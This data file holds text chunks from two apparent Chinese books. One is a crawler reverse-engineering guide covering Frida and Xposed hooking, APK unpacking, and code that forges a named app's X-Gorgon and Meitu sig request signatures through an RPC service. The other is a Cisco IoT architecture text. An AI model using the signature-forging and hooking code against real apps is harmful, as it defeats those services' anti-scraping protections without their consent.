    {"text": "4 4. 第 3 章 Web Js 逆向 ·图 3-20 ·图 3-21 ·图 3-22 打开 Js 文件， request-hook \\ js \\ cookie. js， 修改文件中的 cookie. inDexOf （ lxlxlx ）， 修改为 cookie. inDexOf （ m ）， 修改后刷新扩展程序， 并重新开启扩展程序。"},
    {"text": "Github 地址： https： / / Github. com/ CC11001100/ ast-hook-for-js-RE 这与前面的断点定位调试不同， 之前是通过变量名 key 来进行定位， 而它是对变量值 value 进行定 位。"},
    {"text": "实现方法： 通过设置 Anyproxy 代理服务器拦截响应， 并通过 AST 实时处理， 让所有涉及变量改动的 地方都经过 Hook 方法， 这样所有变量值的改动都可以捕获并保存到一个变量数据库中。"},
    {"text": "接下来就能根据 变量值搜索到存储这个字符串的变量及变量所在的代码位置， hook. search（ \" \" ）， 单击代码位置可以自动 切换到 Source 面板并自动定位到变量位置， 如图 3-25 所示。"},
    {"text": "Unknown 2. 4 Feapder Feapder 是一款上手简单， 功能丰富的 Python 爬虫框架， 支持断点续爬、 数据去重、 数据防丢、 监控 报警、 浏览器渲染下载、 数据自动入库等功能。 Feapder 自带三种爬虫模板： 轻量级爬虫 AirSpider、 分布 式爬虫 Spider、 分布式批次 （周期性） 爬虫 BatchSpider。 Github 地址： https： / / Github. com/ Boris-code / Feapder 官网地址： http： / / Feapder. com 2. 4. 1 Feapder 架构 先看一下笔者在官网发布的框架流程图， 如图 2-11 所示。 从架构图上看， spider 通过 start_request 生产出请求目标， 把请求目标添加到任务队列 request_buffer 中， 然后任务收集器 collector 从任务队列中批量取任务到内存 request_buffer 中， 数据下载器 request 读 取请求并进行下载， 下载后将封装好的 response 先返回给 parser_control， 再调度到对应的 parser 中去解 析 response。 解析后的数据再通过 parser_control 将数据 item 及新产生的 request 分发到 item_buffer 与 2 0. 第 2 章 Python 爬虫技巧 request_buffer 中。 item_buffer 会进行数据存储， 新任务则被调度到对应的位置继续执行， 如表 2-3 所示。 ·图 2-11 表 2-3 各模块说明 模 块 名 简 介 spider 框架调度核心 start_request 初始任务下发函数 collector 任务收集器， 负责从任务队列中取任务 parser 数据解析器 parser_control 模板控制器， 负责调度 parser request_buffer 请求任务缓冲队列 request 数据下载器， 封装了 requests response 请求响应， 封装了 response item_buffer 数据缓冲队列 从源码上来看， 框架整体内容并不复杂， 各模块内容分布鲜明， 很适合阅读研究。 比如 buffer 中定义 了 request_buffer 和 item_buffer， core 文件中则是框架整体的线程调度， netword 中包括了采集时的 request 和 response， 以及 cookie 池、 代理池等， 如图 2-12 所示。 . 2 1 爬虫逆向进阶实战 ·图 2-12 想快速掌握一个爬虫框架， 必须先梳理清楚框架的架构和运行流程， 这对开发和使用来说是非常重要的。 2. 4. 2 Feapder 使用 本小节以最简单的示例来展示 Feapder 的使用。 Feapder 安装命令： pip install Feapder Feapder 创建爬虫： Feapder create -s first_spider 创建后生成的爬虫文件如下： import Feapder class FirstSpider(Feapder. AirSpider): def start_requests(self): yield Feapder. Request(\"https://www. baidu. com\") def parse(self, request, response): print(response) if _name_ = = \"_main_\": FirstSpider().start() 爬虫程序可以直接运行， 这其实已经完成了一次简单的请求任务。 因为 Feapder 中的 response 是对 requests 库返回的 response 的封装， 所以支持其原有的所有方法， 另外支持了 xpath 选择器、 CSS 选择器、 正则表达式、 bs4 的直接调用。 如果有多层的请求任务， 就使用 yield Feapder. Request（）进行回调即可， 这些内容相对比较基础， 所 以就不多说了。 2. 4. 3 Feapder 部署 Feaplat 命名源于 Feapder 与 platform 的缩写， 是 Feapder 的专属管理平台， 当然 Feaplat 也支持部署其 他爬虫脚本， 不过目前免费版只能部署 10 个任务。 具体的使用和部署大家参考文档进行安装即可。 Github 地址： https： / / Github. com/ Boris-code / Feaplat 2 2. 第 2 章 Python 爬虫技巧 Feaplat 搭建成功后， 在 Web 页面的任务列表里可以配置启动命令， 如图 2-13 所示， 包括调度周期以 及爬虫数等。 通过修改爬虫数可一键启动几十至上百份爬虫。 另外 Feaplat 根据配置的爬虫数， 动态生成 工作节点 Worker， 爬虫启动时才会创建 Worker， 爬虫结束时销毁。 ·图 2-13 因为系统架设在 Docker Swarm 集群上， 一台服务器宕机不会影响到其他爬虫， Worker 也会自动迁移 到其他服务器节点。 Feaplat 支持对 Feapder 爬虫的运行情况进行监控， 除了数据监控和请求监控外， 用户还可自定义监控 内容， 如图 2-14 所示。 ·图 2-14 更多内容大家可以自己进行探索。 Unknown 3. 用开发者工具编译 如果想模拟该小程序的运行， 则需要下载微信开发者工具， 如图 7-10 所示。 ·图 7-10 选择适合自己的版本， 注册账号。 然后选择测试 id， 导入小程序包， 如图 7-11 所示。 导入之后， 可能并不能编译成功， 这是很正常的事情， 需要根据控制台报错信息自行更改， 一般都 是因为环境或者开发者工具版本的不同导致的， 另外可以在 “ 设置” 中， 选择 “ 项目设置”， 把 “ 不校 验合法域名” 勾上。 本小节的内容到这里就完结了， 大家自行尝试一遍， 如遇问题， 一定要耐心调试， 如图 7-12 所示。 2 56 . 第 7 章 小程序逆向 ·图 7-11 如何快速定位 pkg: 可以在抓包时根据请求时的 referer 来定位小程序的 pkg。 ·图 7-12 Unknown 1. FDex2 FDex2 是一个 Xposed 脚本， 可对 Android 应用 App 实现脱 壳反编译、 应用内存修改、 包名修改等功能， 但是必须配合 Xposed 框架使用， 另外 Android 系统版本需要超过 4. 4。 FDex2 的脱壳逻辑是通过 Hook ClassLoader 的 loadClass 方 法， 调用 getDex 方法获得 Dex， 再将里面的 Dex 写到本地。 脱壳操作也很简单， 在工具列表中选择一个应用， 选择 后应用名会变红色， 然后打开该应用即可。 脱壳出来的 Dex 文件位置会有提示， 如图 6-94 所示。 尽管 FDex2 现在很少用， 脱壳效果也一般， 但还是需要 写出来让大家了解一下。 ·图 6-94"},
    {"text": "在工程搜索中全局搜索 X-gorgon， 找到比较像的位置， 转换成 Java 代码进行查看， 如图 9-27 所示。 ·图 9-27 在源码中可以看到 localHashMap. put （ \" X-Gorgon\" ， com. ss. a. b. a. c （ com. ss. sys. ces. a. leviathan （ i， com. ss. a. b. a. b （paramString. toString（）） ） ） ）；"},
    {"text": "Hook 脚本核心代码如下： import de.robv.android.xposed.callbacks.XC_LoadPackage; public byte [ ] hook_leviathan(int i,int time, byte [ ] s){ return (byte [ ]) XposedHelpers.callStaticMethod(XposedHelpers.findClass(\"com.ss. sys.ces.a\", lpparam classLoader),\"\", i, s); } hook_ leviathan 方法中传入的参数是经过处理的， com. ss. a. b. a. b （paramString. toString（）。"},
    {"text": "package com.ss.a.b; public final class a public static byte [ ] b(String paramString) { int j = paramString.length(); byte [] arrayOfByte = new byte [j / 2]; int i = 0; while (i < j) { arrayOfByte[(i / 2)] = ((byte )((Character.digit (paramString.charAt(i), 16) << 4) + Character.digit (paramString.charAt(i + 1), 16))); i += 2; } return arrayOfByte; } . 2 89 爬虫逆向进阶实战 大家照着源码复现一个就行。 public static byte [ ] lx(String str) { int length = str.length(); byte [] bArr = new byte [(length / 2)]; for (int i = 0; i < length; i += 2) { bArr[i / 2] = (byte ) ((Character.digit (str.charAt(i), 16) << 4) + Character.digit (str.charAt(i + 1), 16)); } return bArr; } 在调用 so 文件之后并没有结束， 还有其他的方法需要调用。 public String get_fed(String fed) throws Exception{ return (String) XposedHelpers.callStaticMethod(XposedHelpers.findClass(\"com.ss.a.b.d\", lpp . classLoader), \"a\", fed); } 还有一个方法 com. ss. a. b. a. c 也需要去实现。 public static String lx2(byte [ ] bArr) { if (bArr = = null ) { return null ; } char [] charArray = \"0123456789abcdef\". toCharArray(); char [] cArr = new char [(bArr.length * 2)]; for (int i = 0; i < bArr.length ; i++) { int b2 = bArr[i] & 255; int i2 = i * 2; cArr[i2] = charArray[b2 >>> 4]; cArr[i2 + 1] = charArray[b2 & 15]; } return new String(cArr); } 再结合整段源码就能模拟 X-gorgon 的生成了。 先将请求的 URL 进行分割， 取出参数进行处理， 然后 通过 so 进行加密返回 gon， 再次转换后返回字符串 X-gorgon。 String NULL_MD5_STRING = \"00000000000000000000000000000000\"; int inDexOf = url.inDexOf(\"?\"); String fed = url.substring(inDexOf + 1); String x = get_fed(fed);byte [ ] s = lx (x + x + NULL_MD5_STRING + NULL_MD5_STRING); int i = -1; byte [ ] gon = get_leviathan(i,s); String x_gon = lx2(gon); 9. 3. 3 搭建 http 服务 将 Hook 脚本梳理清晰后， 写一个 NanoHTTPD 服务结合 Xposed 使用， 来返回生成出来的参数。 public NanoHTTPD. Response HttpServer(NanoHTTPD. IHTTPSession session) { Map<String, String> parms = session.getParms(); 2 90 . 第 9 章 Android 逆向案例 String url = URLDecoder.decode (parms.get(\"url\"), \"utf-8\"); // 调用方法处理 url return newFixedLengthResponse(\"\"); } 如果模块在模拟器环境中， 本地访问模拟器服务需要与其建立通信， 假设服务端端口为 18989， 那么 可以通过 adb 命令转发 tcp 端口的数据， 计算机上所有 18989 端口通信数据将被重定向到手机端 18989 端 口 server 上， 如图 9-30 所示。"},
    {"text": "9. 4 某 App 参数 Frida+Flask RPC Android 逆向也可以实现 RPC 方式的 Hook， 即通过注入一段代码至目标 App 中来将目标 Api 暴露， 以供外调用， 例如通过 Xposed 插件在对方 App 中启动一个 HTTP 服务， 通过反射执行对方 App 中的方法 来获取结果并返回。"},
    {"text": "本节案例是对某 App 的 sig 参数生成分析， 案例所需环境是 App 9. 3. 5 版本、 工具 Jadx、 Frida、 夜神 Android 7 模拟器。 9. 4. 1 反编译 APK 抓包分析接口的过程笔者就省略掉了， 触发搜索接口的请求， 可以看到 sig 是接口中的加密参数， 如 图 9-32 所示。"},
    {"text": "结果发现 APK 使用了阿里聚安全加固， 这个壳目前没有 好的处理方法， 所以不脱了， 直接丢入 Jadx 中反编译， 看看 能不能看到和加密相关的代码。 这里要提醒一下， 对大家来 说并不是所有的壳都需要去破掉并修复， 只是为了分析源码， 不需要在反编译之后重打包签名， 所以如果壳不影响查看关 键代码， 可以不去理会， 当然隐藏了 Dex 文件的话就只能硬 脱了。"},
    {"text": "Jadx 虽然检索一流， 但是太占内存， 一般 100MB 的 APK 需要 8GB 左右的内存。 这里把默认内存修改成了 12GB， 如 果计算机没有这么多内存， 就换其他工具， 用 APKtools 或者 JEB 来反编译。"},
    {"text": ". 2 93 爬虫逆向进阶实战 { type : error , description :\" Error: generatorSig ( ): specified argument types do not match any of: overload( java.lang.String , [ Ljava.lang.String; , java.lang.String ) overload( java.lang.String , [ Ljava.lang.String; , java.lang.String , java.lang.Ob- ject )\",} 这是报错信息中给出的参数类型， 可以直接拿来用。"},
    {"text": "Frida Hook 代码如下： import Frida, sys def on_message(message, data): print(\"[% s] => % s\" % (message, data)) jscode_hook = \"\"\" Java.perform( function(){ console.log(\"1. start hook\"); var ba = Java.use(\"com.meitu.secret.SigEntity\"); if (ba != undefined) { console.log(\"2. find class\"); ba.generatorSig.overload( java.lang.String , [Ljava.lang.String; , java.lang.String , java.lang.Object ).implementation = function (a1,a2,a3,a4) { console.log(\"3. find function\"); console.log(a1); console.log(a2); console.log(a3); console.log(a4); var res = ba.generatorSig(a1,a2,a3,a4); console.log(\"计算 result:\" + res); return res; } } } ) \"\"\" process = Frida.get_usb_device().attach( 应用包名 ) script = process.create_script(jscode_hook) script.on( message , on_message) print( [ * ] Hook Start Running ) script.load() sys.stdin.read() 触发请求， 查看 Frida 打印内容， 如图 9-36 所示。"},
    {"text": "正常的 RPC 导出函数代码如下： import Frida def on_message(message, data): print(\"[% s] => % s\" % (message, data)) def start_hook(): session = Frida.get_usb_device().attach( 应用包名 ) print(\"[* ] start hook\") js_code = rpc.exports = { \"a\":function (kw) { var ret = {}; Java.perform(function(){ var SigEntity = Java.use(\"com.meitu.secret.SigEntity\"); var BaseApplication = Java.use( com.meitu.library.Application.BaseApplication ); var str1 = \"search/feeds.json\"; var str3 = \"6184556633574670337\"; var content = BaseApplication.getApplication(); var result = SigEntity.generatorSig(str1, kw, str3, content); ret[\"result\"] =result.sig.value; console.log(\"[* ] Sig:\",result.sig.value); } ) return ret; } } script = session.create_script(js_code) script.on( message , on_message) script.load() return script kw = 搜索词 params = [ 1639127762948 , CMCC , GMT+8 , kw, ...] result = start_hook().exports.a(params) print(result) 此时已经能通过 RPC 的方式来调用了， 但是要结合 Flask 做成服务来进行调用。"},
    {"text": "import Frida from flask import Flask, jsonify, request 2 96 . 第 9 章 Android 逆向案例 App = Flask(_name_) def on_message(message, data): print(\"[% s] => % s\" % (message, data)) def start_hook(): session = Frida.get_usb_device().attach( 应用包名 ) js_code = rpc.exports = { \"a\":function (kw) { var ret = {}; Java.perform(function(){ var SigEntity = Java.use(\"com.meitu.secret.SigEntity\"); var BaseApplication = Java.use( com.meitu.library.Application.BaseApplication ); var str1 = \"search/feeds.json\"; var str3 = \"6184556633574670337\"; var content = BaseApplication.getApplication(); var result = SigEntity.generatorSig(str1, kw, str3, content); ret[\"result\"] =result.sig.value; console.log(\"[* ] Sig:\",result.sig.value); } ) return ret; } } script = session.create_script(js_code) script.on( message , on_message) script.load() return script @ App.route(\"/hook\") def search(): kw = request.args.get(\"kw\") # 因参数过长，此处代码中的 params 不完整 params = [ 1639127762948 , CMCC , GMT+8 ,kw, ...] result = start_hook().exports.a(params) return jsonify({ result :result}) if _name_ = = _main_ : App.run() . 2 97 爬虫逆向进阶实战 通过浏览器请求示例， 如图 9-39 所示。"},
    {"text": "Unknown 1. Frida 环境配置 Frida 安装很简单， 本节内容是在 Windows10 系统下配合 Android 模拟器进行的 Frida 环境配置 （书中 . 2 13 爬虫逆向进阶实战 所使用的 Frida 版本为 12. 11. 18， Frida 版本可自行选择）。 输入下面的命令即可开始安装： pip install Frida。 Frida 安装完成后， 再安装 Frida-tools， 执行命令： pip install Frida-tools。 接着安装 Frida Android 服务端， 到 https： / / Github. com / Frida / Frida / releases 下载和 Frida 版本相对应 的 Frida-server-android。 下载完成之后， 把这个文件重命名为 frida-server。 夜神模拟器配置示例： 把 frida-server 复制到设备文件中的 / data / local / tmp 目录下， 如图 6- 64 所示。 接下来需要给 frida-server 执行权限， 可按照下面的步骤操作， 如图 6- 65 所示。 ·图 6-64 ·图 6-65 (1) 连接模拟器 adb devices； (2) 进入 tmp 目录 cd / data/ local / tmp (3) 给 frida-server 授权 chmod 777 frida-server (4) 启动 frida-server . / Frida-server 启动后重新打开一个 cmd 窗口查看是否启动成功， 执行命令： Frida-ps -U 因为本地需要调试， 所以还要将移动设备的端口转发到 PC 端进行通信。 adb forwardtcp： 27042 tcp： 27042 adb forwardtcp： 27043 tcp： 27043 如果本地没有 adb 环境， adb devices 时会报错。 此时需要自行配置 adb 环境， 或者使用模拟器自 带的 adb， 可以参考下方的木木模拟器配置示例。 木木模拟器配置示例如下： 下载 frida-server 后， 把 frida-server 复 制 到 设 备 文 件 中 的 / data / local/ tmp 目录下， 如图 6-66 所示。 接下来先找到模拟器的安装目录， 然后进入 emulator / nemu / vmonitor/ bin 目录， 在文件中打开 cmd， 输入 adb 命令连接模拟 器： . \\ adb_server. exe connect 127. 0. 0. 1： 7555。 不同模拟器的 adb 名称可能不同， 正常情况是 adb， 木木叫 作 adb_server， 夜神叫作 nox_adb。 不同的模拟器也需要指定对应 ·图 6-66 端口， 可以通过 adb devices 查看现有设备和端口。 2 14 . 第 6 章 Android 逆向 然后输入： . \\ adb_server. exe shell 进入交互界面， 如图 6- 67 所示。 ·图 6-67 进入 adb shell 后， cd 到 / data / local / tmp 目录。 然后设置 frida-server 的权限： chmod 777 frida-server， 如图 6- 68 所示。 ·图 6-68 给予了可执行权限之后， 输入下面的命令来启动 / frida-server。 查看是否启动成功。 重新打开一个 cmd 窗口， 执行下面的命令： Frida-ps-U 查看当前运行的进程， 有输出则说明启动成功。 需要进行调试， 所以要将移动设备的端口转发到 PC 端进行通信。 adb forward tcp： 27042 tcp： 27042 adb forwardtcp： 27043 tcp： 27043 到此， 环境就搭建完成了。 需要注意的是不同设备的端口和 adb 工具可能都不一样， 比如夜神模拟 器叫作 nox_adb. exe， 如图 6- 69 所示， 默认端口是 62001。 ·图 6-69"},
    {"text": "未知 序 这是一份来自过去的问候。我在2017年2月的科技时代为你们写下了这篇序言。那时（对我来说就是现在），大多数汽车仍然有人驾驶。我们也仍然需要借助红绿灯来指挥交通，而且大部分红绿灯都是定时的，与街道的拥堵情况无关。在我写这篇序言的时候，大多数家用电表都是机械的，而公用事业人员必须挨家挨户地去获取电表上的读数。绝大多数烤面包机也还不能发布推文。 我是在2013年加入Cisco的，之后在2015年成为公司物联网技术团队的领导。这几年来，我们这个团队见证了一次又一次广泛、深刻而又迅猛的技术变革，因此一本书的序言往往只有很短的保质期。 但我们可以为即将到来的变化和机遇做好准备。我们未来要使用的工具，会和我们现在构建这个互联网时所使用的工具存在巨大的区别。我们需要对物联网的基本原理拥有坚如磐石的理解：我们今天在哪里，我们面临的挑战在何处，我们的机会在何方。本书是由Cisco最顶尖的工程师和技术人才创作的，我们可以一起朝着这个方向建设我们的未来。 物联网之“物”在哪里？ 我希望本书能成为读者的工具书，即使读者要到2020年才会读到它，彼时物联网（如果我们仍然这么称呼它的话）设备的数量可能已经达到了500亿，而2016年这个数字还只有区区64亿。由于能够处理和共享传感器的信息以及其他数据，并且针对这些数据作出响应，所以制造业工厂将比以往任何时候都更加智能和高效。像汽车这样的复杂机器会被全面计量，一直计量到组件级别。计量它们的大量数据流会被实时发送给庞大的分析系统，让这些数据服务于生命安全、生态和金融服务，甚至制造它们的制造厂。拖拉机、茶杯、卷尺等都会变得如此智能，最终让各个产品公司都转变为服务公司。 这会是这个世界有史以来最大的技术变革。 目前，收集、整理、分析和传输这些数据的网络协议还在快速发展。我们有一个强大而稳定的互联网，但它的目的是连接人和通用的计算机，而不是连接数十亿个不断发送机器数据流的高度专业化设备。 我们的全球网络被设计成模拟的点对点连接，而且在大多数情况下，它都不会对自己连接的设备和收发的数据加以区分。目前，包括Cisco在内的几家公司正设法在数十亿台联网设备与数据和分析仓库之间增加一层中介，这些数据和分析仓库将成为企业和其他应用程序的数据仓库（我们目前称这一层为“边缘”）。 由于设备产生的大量数据和遥测数据需要通过无线方式发送，所以我们也在尽自己所能来提高数据传输的可靠性和速度，同时降低延迟和发送每个比特所消耗的能量。在这场竞争中，出现了几种新兴的无线标准。几年后，还会出现一些新标准，因为不同类型的设备和应用程序需要不同的无线系统。目前，移动运营商是行业巨头，能源和运输公司等数据服务的最大消费者也加入了这一行列。在未来几年，我们会见证大量的竞争和创新，因为新老公司都在争相成为所有这些信息的传输者。 我们还在努力确保物联网设备本身能够提升网络的安全性。现在（在读者读到这段文字时已经成为过去），网络本身对应该发送什么类型的数据、不应该发送什么类型的数据了解非常有限。设备可以被劫持来攻击其他设备或网络本身。当读者读到这里的时候，相信这个安全问题以及物联网所面临的其他挑战（比如可扩展性和互操作性问题）会更接近于解决。本书也会在接近这个目标的过程中发挥它的作用。本书可以帮助读者以连贯和全面的方式掌握物联网的基础。物联网正准备改变我们的世界，本书为理解和驾驭不断变化的物联网领域提供了必要的基础知识。 接受曲线 显然，按照我2017年的观点来看，我们还有很多工作要做，才能最终让物联网成为一种所有企业都可以轻松连接的结构。不过，我相信这个目标终将实现，而且会很快实现。这既是因为我们正在Cisco开发相关的工具，也是因为我一直都在与那些参与物联网发展的商业领袖和企业家们进行交流。 建立物联网解决方案，保证它们的安全性，使它们变得便宜和易于维护，处理它们产生的数据并从中获利，这些都是巨大的机遇。我的团队所做的工作，就是让所有这些工作对你们来说更加简单，而你我所接受的教育则是这一切的起点。 ——Rowan Trollope Cisco物联网及应用部门高级副总裁兼总经理"},
    {"text": "同理，如果没有精心的设计方案、完善的安全策略，以及严格遵循设计方案进行施工的计划，人们也不应该搭建计算机网络。 如果人们没有按照完善的网络设计原则来规划网络，那么这样搭建出来的网络往往就会面临诸多问题，包括很难进行扩展、管理，无法适应需求变化，甚至在发生故障时难以排错等。"},
    {"text": "恰如人们在设计房屋时，需要考虑房屋在（如地址、飓风等）灾害条件下的承重水准一样，信息技术（IT）系统也需要在设计时将承受“网络灾害”的能力考虑进来，这里所说的网络灾害包括DDoS（分布式拒绝服务攻击）攻击、未来的网络扩展需求、网络中断，甚至人为错误导致的问题。"},
    {"text": "比如，企业总架构师（Chief Enterprise Architect，CEA）这个职位近年来备受关注，因为这个职位的职责往往相当于CTO，而且在很多情况下，CEA的直接上级就是CEO。"},
    {"text": "尽管IT架构和物联网架构这二者之间确实存在着一些相似之处，但在大部分领域，物联网系统所面临的挑战和需求都与传统IT网络存在巨大差异，读者务必注意到这一点。"},
    {"text": "有一天，这位建筑师接到了一个新的项目：建一个大型体育馆，这个体育馆应该成为这座城市的地标建筑，负责承接一系列的体育赛事、演唱会和群众性活动，这个场馆需要能够容纳60000人以上。"},
    {"text": "而物联网的关注对象则是那些由传感器创建的数据，以及如何使用这些数据。 所以，物联网架构的核心就是如何传输、采集和分析这些数据，并且最终使用这些数据来达到最终的目的。"},
    {"text": "表2-1对IT和OT网络之间的区别进行了详细的比较，该表主要关注的是物联网那些正在驱动网络架构发展变化的需求，以及人们需要针对这些需求对网络架构做出哪些调整。 表2-1 物联网架构的驱动力 下文会对驱动物联网架构做出变化的需求进行更加深入的解释。"},
    {"text": "但物联网的端点设备则往往处于无线传感器网络当中，这些网络使用的往往是无需授权的频谱，人们不仅可以使用频谱分析仪看到这些网络，而且还可以从物理上接入并且被人们广泛使用。"},
    {"text": "这可不是由一个机会主义组织发起的简单网络攻击，这是一场复杂的、精心策划的针对乌克兰电网SCADA系统的网络攻击，被攻击的系统负责管理电网自动化设备的通信。"},
    {"text": "物联网系统需要拥有一致的认证、加密和入侵防御机制，这些机制能够理解工业协议的运作方式，而且能够对那些向重要设备发起的攻击做出反应。 要想尽可能提升物联网的安全性，物联网系统必须： ■ 能够识别所有接入物联网服务的实体（即网关、端点设备、家庭网络、漫游网络、服务平台），并且对它们进行身份认证；"},
    {"text": "■ 使用了一个物联网连通性管理平台，同时建立了符合规则的安全策略，这样一来，如果物联网所连接的设备被检测出了异常行为，网络就会立刻采取相应的动作；"},
    {"text": "由于这些设备数量庞大，而且往往部署在那些范围广大、不受控制的环境当中，所以为它们提供连接的网络也往往存在比较大的数据损耗，支持的数据传输速率不高。 这与IT网络所面临的情况完全不同，IT网络的连接速率可达数Gbit/s，它连接的端点设备往往也都装备了强大的CPU。 如果IT网络的性能不足，解决方法也很简单，把它升级成一个更高速的网络就可以了。 如果一个VLAN中连接了太多设备，这种设计方案会对网络的性能造成负面影响，只需要再创建一个新的VLAN，然后就可以继续根据需要扩展网络了。"},
    {"text": "但在物联网环境中，数据就是金子，因为数据是企业提供新的物联网服务、提升客户体验、降低运营成本、创作企业商机的载体。 虽然物联网生成的大多数数据同样杂乱无章，但人们可以通过分析这些数据所获取到的信息来优化工作流程，设计全新的商业模式。"},
    {"text": "虽然人们对于这个照明网络与控制中心之间传输的大多数信息都不会抱有太多兴趣，但这个数据中心的模式可以帮助人们预测出什么时候应该替换这些路灯，以及这些路灯应该在什么时候打开或者熄灭，以减少运营成本。"},
    {"text": "所以，物联网系统不同于IT网络，物联网需要合理分配在这个架构中传输的数据数量，这既包括过滤和减少去往上游的数据，也包括在必要情况下对设备提供极速响应。"},
    {"text": "如果有人使用的手机还在执行一种过时的WiFi标准（比如802.11b或者802.11g），IT人员只需要拒绝这种人接入无线网络，通过这种方式强制进行升级就可以了。"},
    {"text": "其中最有名的两个框架就是由oneM2M和物联网世界论坛（IoTWF）定义的框架，下面我们来对这两个框架进行深入介绍。 2.2.1 oneM2M物联网标准化框架 在将机器对机器（M2M）的通信进行标准化的过程中，欧洲电信标准化研究院（European Telecommunications Standards Institute，ETSI）在2008年创建了M2M技术委员会。"},
    {"text": "在意识到这种需求之后，2012年，ETSI和另外13家成员机构发起了oneM2M（即同一个M2M）的全球倡议，这个倡议的目的旨在提升M2M通信系统和物联网的效率。"},
    {"text": "oneM2M的目的是创建一个通用的服务层，这一层可以直接嵌入到设备当中，让设备可以与应用服务器之间进行通信。 oneM2M的框架主要关注的是物联网的服务、应用和平台，这其中包括智能测量应用、智能电网、智慧城市自动化、电子健康应用和互联汽车。"},
    {"text": "oneM2M的横向框架和RESTful API可以让LoRaWAN系统通过一个物联网与楼宇的管理系统实现互操作，这就通过一种统一的方式提升了物联网的通信范围，解决了网络异构性的问题。"},
    {"text": "图2-1所示为oneM2M定义的物联网架构。 图2-1 oneM2M物联网架构的核心元素 oneM2M架构将物联网功能分为了三大区域：应用层、服务层和网络层。"},
    {"text": "虽然这个架构乍看之下简单而又通俗，但是它的表意十分丰富，而且这个架构可以让不同设备通过对IT友好的API来实现互操作，同时还可以支持大量的物联网技术。"},
    {"text": "oneM2M的目的之一就是“开发技术标准，让这些技术标准满足嵌入在各类软硬件节点中的通用M2M服务层所提出的需求，并且让本地网络中的设备与位于云或数据中心中的M2M应用服务器建立大量连接。 ”所以，oneM2M的一项关键目标就是吸引并且主动争取那些从事M2M相关领域的组织，这里所说的相关领域包括信息技术与智能传输、医疗卫生、电力、工业自动化和智能家庭应用等领域。"},
    {"text": "在有一些情况下，机器与机器间的通信并不重要，在物联网应用领域中，设备有时只需要通过一个场域网络（Field Area Network，FAN）来使用为这种环境定制的App进行通信。"},
    {"text": "2.2.2 物联网世界论坛（IoTWF）标准化框架 2014年，IoTWF架构委员会（由Cisco、IBM、Rockwell和其他机构领导）发布了一个7层物联网架构参考模型。"},
    {"text": "尽管物联网已经有很多参考模型了，但是这个由物联网世界论坛推出的参考模型为人们使用物联网提供了一个更加清晰简洁的视角，这个模型包含了边缘计算、数据存储和访问。"},
    {"text": "图2-2 物联网世界论坛发布的物联网参考模型 如图2-2所示，物联网参考模型定义了一系列的分层，以及如何对从中心（中心可能是云服务或者专用的数据中心网络）到边缘（包括传感器、设备、机器，以及其他类型的智能终端节点）的数据流进行控制。"},
    {"text": "1.第1层：物理设备与控制器层 物联网参考模型的第1层就是物理设备与控制器层。 这一层就是物联网中的“物”所在的哪一层，这些“物”包括各类端点设备和那些接收与发送信息的传感器。"},
    {"text": "读者也许已经注意到，连接层中包含了所有物联网中的网络连接元素，它并没有真正地区分“最后一公里”网络（即传感器/端点与物联网网关之间的网络，本章稍后会进行讨论）、网关和回程网。"},
    {"text": "因此，第3层的一大核心功能就是对数据进行评估，判断数据是否超出了预定义的门限值，是否需要针对这些数据采取某些行动或者发出某种告警。"},
    {"text": "图2-4 物联网参考模型第3层的功能 4.上层：第4～7层 上层负责处理那些由底层生成的物联网数据。 为求完整，表 2-2 对物联网参考模型第4～7层的功能进行了总结。 表2-2 IoTWF参考模型第4～7层功能的总结 5.IT与OT在物联网参考模型中的职责 将物联网架构按照这种方式进行虚拟化可以得到一个有趣的结果，那就是人们可以开始沿着IT和OT两条线来分别组织它们的职责。 图2-5显示了在物联网参考模型框架中，IT和OT之间的分界点。 图2-5 物联网参考模型中IT与OT的分隔 如图2-5所示，物联网系统需要穿越很多位于功能层之上的边界。"},
    {"text": "表2-3 其他物联网参考模型 续表 2.3 简化的物联网架构 虽然本章之前提到的几种模型彼此之间存在着巨大的差异，但它们都用不同的方式对物联网进行了分层，也都在某种程度上将技术和标准的开发工作限制在某一层或某一个领域。"},
    {"text": "这些模型的共同之处在于，它们都认识到了物联网端点设备与数据传输网络之间需要进行互联，而这类网络中传输的数据最终会被各种不同的应用所使用——无论这些应用位于数据中心、云，还是位于协议栈的各个管理端点当中。"},
    {"text": "实际上，由于不同行业使用物联网的方式不同，部署的协议各异，它们采用的物联网架构也应该有所区分，而上文中的每种架构都在解决物联网异构性的问题上存在着自己的优势。"},
    {"text": "这个框架包含了两个相互平行的协议栈：物联网数据管理和计算协议栈、核心物联网功能协议栈。 虽然这个框架将物联网的结构分为了2个三层的协议栈，但这绝不表示这个模型缺少开发复杂物联网战略所必要的技术细节。"},
    {"text": "我们这样做的目的在于将物联网框架简化为最基本的构造模块，然后再以这个简化的框架为基础，解释各行各业物联网用例中的那些核心设计原则和部署原则。"},
    {"text": "几乎所有机构发布的物联网模型中都包括了核心层，它们的核心层与图2-6左侧的协议栈类似。 核心层中包括互联之“物”、通信网络和应用。 不过，图2-6所示的框架与那些模型的不同之处在于，这个框架将核心物联网和数据管理分成了两个相互平行的协议栈，让读者能够更加清晰地看出物联网这个复杂系统中，各层网络和应用所对应的功能。"},
    {"text": "不过，在网关和数据中心之间的网络中包含的多为传统技术，也就是IT专业人士耳熟能详的那些技术，包括隧道技术、VPN技术、基于IP的服务质量（QoS）技术、传统三层路由协议（如BGP和IP-PIM）和诸如加密、ACL（访问控制列表）、防火墙这类的安全功能。"},
    {"text": "与大多数IT网络不同，物联网的应用和分析层未必只存在于数据中心或者云中。 由于物联网所面临的特殊挑战和需求，应用和数据管理往往都需要分布在整个架构的各层当中，让物联网系统能够在多点采集数据、分析数据，并且执行智能控制。"},
    {"text": "在本书的模型中，数据管理是与核心物联网功能协议栈的三层相平行的另一个协议栈。 数据管理协议栈的三层为边缘层（即传感器自身的数据管理）、雾层（即在网关和传输网络中的数据管理）和云层（即云或中心站点数据中心的数据管理）。"},
    {"text": "图2-7所示为本书介绍的物联网架构扩展后的视图。 图2-7 简化的物联网架构扩展后的视图 如图2-7所示，核心物联网功能协议栈可以扩展出很多子层，这些子层中包含了更加详细和具体的网络功能。"},
    {"text": "物联网的应用层不仅使用业务应用，也包含大数据分析的部分，因为物联网不仅控制物联网设备，同时也包括对这些设备所产生的数据进行分析，并从中得到重要的知识，这个概念会贯穿本书全篇。"},
    {"text": "然而，在大多数情况下，“物”都需要与外部系统进行互动，来保护智能对象收集到的信息，与其他智能对象交互信息，或者与管理平台之间进行交互。"},
